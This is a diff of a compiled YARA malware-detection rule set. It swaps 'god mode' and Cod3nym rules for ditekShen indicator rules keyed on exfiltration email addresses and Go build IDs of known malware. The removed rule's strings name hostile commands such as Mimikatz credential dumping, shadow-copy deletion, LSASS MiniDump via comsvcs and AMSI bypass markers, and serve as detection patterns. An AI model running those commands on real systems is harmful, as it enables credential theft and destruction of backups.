- * Git Commit: c6de81ded89d2727bec9e0f6ed490f6c8ab380f2
- * Number of Rules: 1
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- *                                  Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
- */
-rule GODMODERULES_IDDQD_God_Mode_Rule
+rule DITEKSHEN_INDICATOR_KB_ID_Powershellcookiestealer
 {
 	meta:
-		description = "Detects a wide array of cyber threats, from malware and ransomware to advanced persistent threats (APTs)"
-		author = "Florian Roth"
-		id = "be4a8ce8-5824-580b-b443-32a16ee533d5"
-		date = "2019-05-15"
-		modified = "2024-01-12"
-		reference = "Internal Research - get a god mode rule set with THOR by Nextron Systems"
-		source_url = "https://github.com/Neo23x0/god-mode-rules//blob/c6de81ded89d2727bec9e0f6ed490f6c8ab380f2/godmode.yar#L24-L69"
-		license_url = "https://github.com/Neo23x0/god-mode-rules//blob/c6de81ded89d2727bec9e0f6ed490f6c8ab380f2/LICENSE"
-		logic_hash = "aae326d337c6f3430c3721fb13f4965b4c5bcd654f618c55842347134fc06b3b"
-		score = 60
-		quality = -4
+		description = "Detects email accounts used for exfiltration observed in PowerShellCookieStealer"
+		author = "ditekShen"
+		id = "c2bbb9a8-3e4c-5676-9676-2708a196ef8d"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L706-L715"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "bd404e94939acb92dd56a7d2a1f7536bcb3f520ca1e9dc614b53828afbc6dac8"
+		score = 75
+		quality = 71
 		tags = ""
-		importance = 60
 
 	strings:
-		$ = "sekurlsa::logonpasswords" ascii wide nocase
-		$ = "ERROR kuhl" wide xor
-		$ = " -w hidden " ascii wide nocase
-		$ = "Koadic." ascii
-		$ = "ReflectiveLoader" fullword ascii wide xor
-		$ = "%s as %s\\%s: %d" ascii xor
-		$ = "[System.Convert]::FromBase64String(" ascii
-		$ = "/meterpreter/" ascii xor
-		$ = / -[eE][decoman]{0,41} ['"]?(JAB|SUVYI|aWV4I|SQBFAFgA|aQBlAHgA|cgBlAG)/ ascii wide
-		$ = /  (sEt|SEt|SeT|sET|seT)  / ascii wide
-		$ = ");iex " nocase ascii wide
-		$ = "Nir Sofer" fullword wide
-		$ = "impacket." ascii
-		$ = /\[[\+\-!E]\] (exploit|target|vulnerab|shell|inject)/ nocase
-		$ = "0000FEEDACDC}" ascii wide
-		$ = "vssadmin delete shadows" ascii nocase
-		$ = ".exe delete shadows" ascii nocase
-		$ = " shadowcopy delete" ascii wide nocase
-		$ = " delete catalog -quiet" ascii wide nocase
-		$ = "stratum+tcp://" ascii wide
-		$ = /\\(Debug|Release)\\(Key[lL]og|[Ii]nject|Steal|By[Pp]ass|Amsi|Dropper|Loader|CVE\-)/
-		$ = /(Dropper|Bypass|Injection|Potato)\.pdb/ nocase
-		$ = "Mozilla/5.0" xor(0x01-0xff) ascii wide
-		$ = "amsi.dllATVSH" ascii xor
-		$ = "BeaconJitter" xor
-		$ = "main.Merlin" ascii fullword
-		$ = "\x48\x83\xec\x50\x4d\x63\x68\x3c\x48\x89\x4d\x10" xor
-		$ = "}{0}\"-f " ascii wide
-		$ = "HISTORY=/dev/null" ascii
-		$ = " /tmp/x;" ascii
-		$ = /comsvcs(\.dll)?[, ]{1,2}(MiniDump|#24)/
-		$ = "AmsiScanBuffer" ascii wide base64
-		$ = "AmsiScanBuffer" xor(0x01-0xff)
-		$ = "%%%%%%%%%%%######%%%#%%####%  &%%**#" ascii wide xor
+		$s1 = "senmn0w@gmail.com" ascii wide nocase
+		$s2 = "mohamed.trabelsi.ena2@gmail.com" ascii wide nocase
 
 	condition:
-		1 of them
+		any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Cod3nym
- * Repository: https://github.com/cod3nym/detection-rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: ad485bff0ce30afb56e367b7f2b76fea81e78fc9
- * Number of Rules: 13
- * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * ## Detection Rule License (DRL) 1.1
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this rule set and associated documentation files (the "Rules"), to deal
-in the Rules without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Rules, and to permit persons to whom the Rules are furnished to do so,
-subject to the following conditions:
-
-If you share the Rules (including in modified form), you must retain the
-following if it is supplied within the Rules:
-
-1. identification of the authors(s) ("author" field) of the Rule and any
-   others designated to receive attribution, in any reasonable manner
-   requested by the Rule author (including by pseudonym if designated).
-
-2. a URI or hyperlink to the Rule set or explicit Rule to the extent
-   reasonably practicable
-
-3. indicate the Rules are licensed under this Detection Rule License, and
-   include the text of, or the URI or hyperlink to, this Detection Rule
-   License to the extent reasonably practicable
-
-If you use the Rules (including in modified form) on data, messages based on
-matches with the Rules must retain the following if it is supplied within the
-Rules:
-
-1. identification of the authors(s) ("author" field) of the Rule and any
-   others designated to receive attribution, in any reasonable manner
-   requested by the Rule author (including by pseudonym if designated).
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Zebrocy : FILE
+{
+	meta:
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "fc805e9d-47a0-5fcb-9b21-4806c13ab7b4"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1541-L1550"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "16b88460896012b42ca576995f5de98a7a9d2fcc53f8e148427bca31a883d19b"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE
-RULES.
+	strings:
+		$s1 = "Go build ID: \"l6RAKXh3Wg1yzn63nita/b2_Y0DGY05NFWuZ_4gUT/H91sCRktnyyYVzECfvvA/l8f-yII0L_miSjIe-VQu\"" ascii
+		$s2 = "Go build ID: \"fiGGvLVFcvIhuJsSaail/jLt9TEPQiusg7IpRkp4H/hlcoXZIfsl1D4521LqEL/yL8dN86mCNc39WqQTgGn\"" ascii
 
- */
-rule COD3NYM_SUSP_Direct_Syscall_Shellcode_Invocation_Jan24 : FILE
+	condition:
+		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
+}
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Gostealer : FILE
 {
 	meta:
-		description = "Detects direct syscall evasion technqiue using NtProtectVirtualMemory to invoke shellcode"
-		author = "Jonathan Peters"
-		id = "2a0ce887-299d-5aad-bed3-3e698b4dea79"
-		date = "2024-01-14"
-		modified = "2024-01-14"
-		reference = "https://unprotect.it/technique/evasion-using-direct-syscalls/"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/other/susp_direct_syscall_shellcode_invocation.yar#L1-L14"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "f7cd214e7460c539d6f8d02b6650098e3983862ff658b76ea02c33f5a45fc836"
-		logic_hash = "b5b0ad86289a4e2af7cdc909192f4dc9325c1763259f40adcc1e60c088c9e4f3"
-		score = 65
-		quality = 80
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "25c0eb8b-c69c-5f50-b622-daaa3c8c62a4"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1552-L1562"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "d548bc2580c8e8233a5fcdf85b947547c10f2c4d0056d14e990f30dd7b9a0672"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$ = { B8 40 00 00 00 67 4C 8D 08 49 89 CA 48 C7 C0 50 00 00 00 0F 05 [4-8] 4C 8D 3D 02 00 00 00 FF E0 }
+		$s1 = "Go build ID: \"xQV-b1Fr7d576TTTpbXi/gq4FgVQqMcg--9tmY13y/76rKNEUBENlDFDcecmm_/mbw17A_6WrROaNCYDEQF\"" ascii
+		$s2 = "Go build ID: \"x4VqrSSsx8iysxVdfB-z/gIF3p7SUxiZsVgTuq7bN/93XHuILGnGYq2L83fRpj/eoY6nTqwk1sdMHTaXzlw\"" ascii
+		$s3 = "Go build ID: \"BPRThIYWbHcZQQ4K1y2t/2mO0-FjLC50P0QZuMTgC/9i6TYw_akiEF9ZPN0s3p/s1XoqXr7EyXMDVw5TTP3\"" ascii
 
 	condition:
-		all of them and filesize <2MB
+		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
 }
-rule COD3NYM_SUSP_RLO_Exe_Extension_Spoofing_Jan24
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Goldenaxe : FILE
 {
 	meta:
-		description = "Detects Right-To-Left (RLO) Unicode (U+202E) extension spoofing for .exe files"
-		author = "Jonathan Peters"
-		id = "60c1a8db-6bfc-547b-98d9-21c198a703f0"
-		date = "2024-01-14"
-		modified = "2024-02-19"
-		reference = "https://unprotect.it/technique/right-to-left-override-rlo-extension-spoofing/"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/other/susp_rlo_exe_extension_spoofing.yar#L2-L58"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "cae0ab10f7c1afd7941aff767a9b59901270e3de4d44167e932dae0991515487"
-		logic_hash = "6126f36b3cd695b4002c29c9163faa6ec295699863d8db7fe17afc407f5a5736"
-		score = 70
-		quality = 55
-		tags = ""
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "e734d5b4-2332-5b46-a05e-fb35134ea070"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1564-L1573"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "4ab9aeaa74530de4a62ddfa8d7e8607e455d0ba4330260037327bec6d8d7abab"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$ = { E2 80 AE 76 73 63 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 66 64 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 78 73 6C 78 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 78 63 6F 64 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 70 69 7A ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 67 6E 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 67 65 70 6A ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 67 70 6A ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6E 6C 73 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 74 78 74 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 66 64 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 78 74 70 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 74 64 6f ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 63 74 65 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 66 69 67 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 70 6d 62 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 66 66 69 74 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 67 76 73 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 34 70 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 69 76 61 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 76 6f 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 76 6d 77 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 76 6c 66 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 76 6b 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 33 70 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 76 61 77 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 63 61 61 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 63 61 6c 66 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 67 67 6f ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 61 6d 77 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 72 61 72 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 7a 37 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 7a 67 72 61 74 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6f 73 69 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6c 6d 74 68 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6c 6d 65 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6d 74 68 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 66 74 72 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6d 68 63 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 61 74 68 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6b 6e 6c ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 73 6c 78 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 63 6f 64 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
-		$ = { E2 80 AE 6d 63 6f 64 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$s1 = "Go build ID: \"BrJuyMRdiZ7pC9Cah0is/rbDB__hXWimivbSGiCLi/B35SPLQwHal3ccR2gXNx/hEmVzhJWWatsrKwnENh_\"" ascii
+		$s2 = "Go build ID: \"5bgieaBe9PcZCZf23WFp/bCZ0AUHYlqQmX8GJASV6/fGxRLMDDYrTm1jcLMt8j/Wof3n5634bwiwLHFKHTn\"" ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
 }
-rule COD3NYM_SUSP_OBF_Pyarmor_Jan24
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Nemty : FILE
 {
 	meta:
-		description = "Detects PyArmor python code obfuscation. PyArmor is used by various threat actors like BatLoader"
-		author = "Jonathan Peters"
-		id = "2627c764-57ed-5781-8c77-ad2d9f4bd0ee"
-		date = "2024-01-16"
-		modified = "2024-01-16"
-		reference = "https://www.trendmicro.com/en_us/research/23/h/batloader-campaigns-use-pyarmor-pro-for-evasion.html"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/other/susp_obf_pyarmor.yar#L1-L18"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "2727a418f31e8c0841f8c3e79455067798a1c11c2b83b5c74d2de4fb3476b654"
-		logic_hash = "6bbbe4c9ad54a1d1042b53803ca6011f3eaaeebbe864703e741c25a0d788342f"
-		score = 65
-		quality = 80
-		tags = ""
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "512fe910-e38c-513c-b678-a0592bdc4ae2"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1575-L1588"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "246766ab1d2871b5c22323f622d39ce9fa9b46a2d43bace122ed5549484f3aac"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$ = "__pyarmor__" ascii
-		$ = "pyarmor_runtime" ascii
-		$ = "pyarmor(__" ascii
-		$ = { 50 79 61 72 6D 6F 72 20 [5] 20 28 70 72 6F 29 }
-		$ = { 5F 5F 61 72 6D 6F 72 5F ( 65 78 69 74 | 77 72 61 70 | 65 6E 74 65 72 ) 5F 5F }
+		$s1 = "Go build ID: \"R6dvaUktgv2SjVXDoMdo/kKgwagwoLRC88DpIXAmx/eipNq7_PQCTCOhZ6Q74q/RHJkCaNdTbd6qgYiA-EC\"" ascii
+		$s2 = "Go build ID: \"vsdndTwlj03gbEoDu06S/anJkXGh7N08537M0RMms/VG58d99axcdeD_z1JIko/tfDVbCdWUId-VX90kuT7\"" ascii
+		$s3 = "Go build ID: \"FG9JEesXBQ04oNCv2bIS/MmjCdGa3ogU_6DIz6bZR/AjrqKBSezDfY1t7U9xr-/-06dIpZsukiVcN0PtOCb\"" ascii
+		$s4 = "Go build ID: \"MJ8bS1emWrrlXiE_C61E/A6GaZzhLls_pFKMGfU1H/ZgswGQy_lzK-I4cZykwm/8JzjhV06jZosSa5Qih5O\"" ascii
+		$s5 = "Go build ID: \"_vQalVQKn2O8kxxA4vVM/slXlklhnjEF5tawjlPzW/t26rDRURK6ii0MqU7gIx/MNq6vj_uM15RhjVC2QuX\"" ascii
+		$s6 = "Go build ID: \"KWssFDTp6mq16xlI5c0t/mQLgof0oyp-eYKqNYUFL/Np8S71zE5W5_BsJCpjsj/hXpFDaVCtay2509R05fd\"" ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and 1 of them
 }
-import "pe"
-
-rule COD3NYM_DOTNET_Singlefilehost_Bundled_App : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Qnapcrypt : FILE
 {
 	meta:
-		description = "Detects single file host .NET bundled apps."
-		author = "Jonathan Peters"
-		id = "061bd294-58d6-57be-b8b5-b8a8f31ce316"
-		date = "2024-01-02"
-		modified = "2024-01-05"
-		reference = "https://learn.microsoft.com/en-us/dotnet/core/deploying/single-file"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/framework_identiciation.yar#L3-L17"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		logic_hash = "12075b07a9feb951898ac8eba303471d9253ed9535db927244e5562f4fad33d6"
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "4cdea15f-d8fd-5720-ba25-eb60e9b0f9ce"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1590-L1598"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "b3ee583c395701350c091041a72f988d1b5ae607b642b42152fcda29f9be63e2"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$ = "singlefilehost.exe" ascii
-		$ = "singlefilehost.pdb" ascii
+		$s1 = "Go build ID: \"XcBqbQohm7UevdYNABvs/2RcJz1616naXSRu2xvTX/b6F3Jt1-5WAIexSyzeun/MpHqs5fJA5G2D9gVuUCe\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them and pe.exports("DotNetRuntimeInfo") and pe.exports("CLRJitAttachState")
+		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
 }
-rule COD3NYM_SUSP_OBF_NET_Confuserex_Name_Pattern_Jan24 : FILE
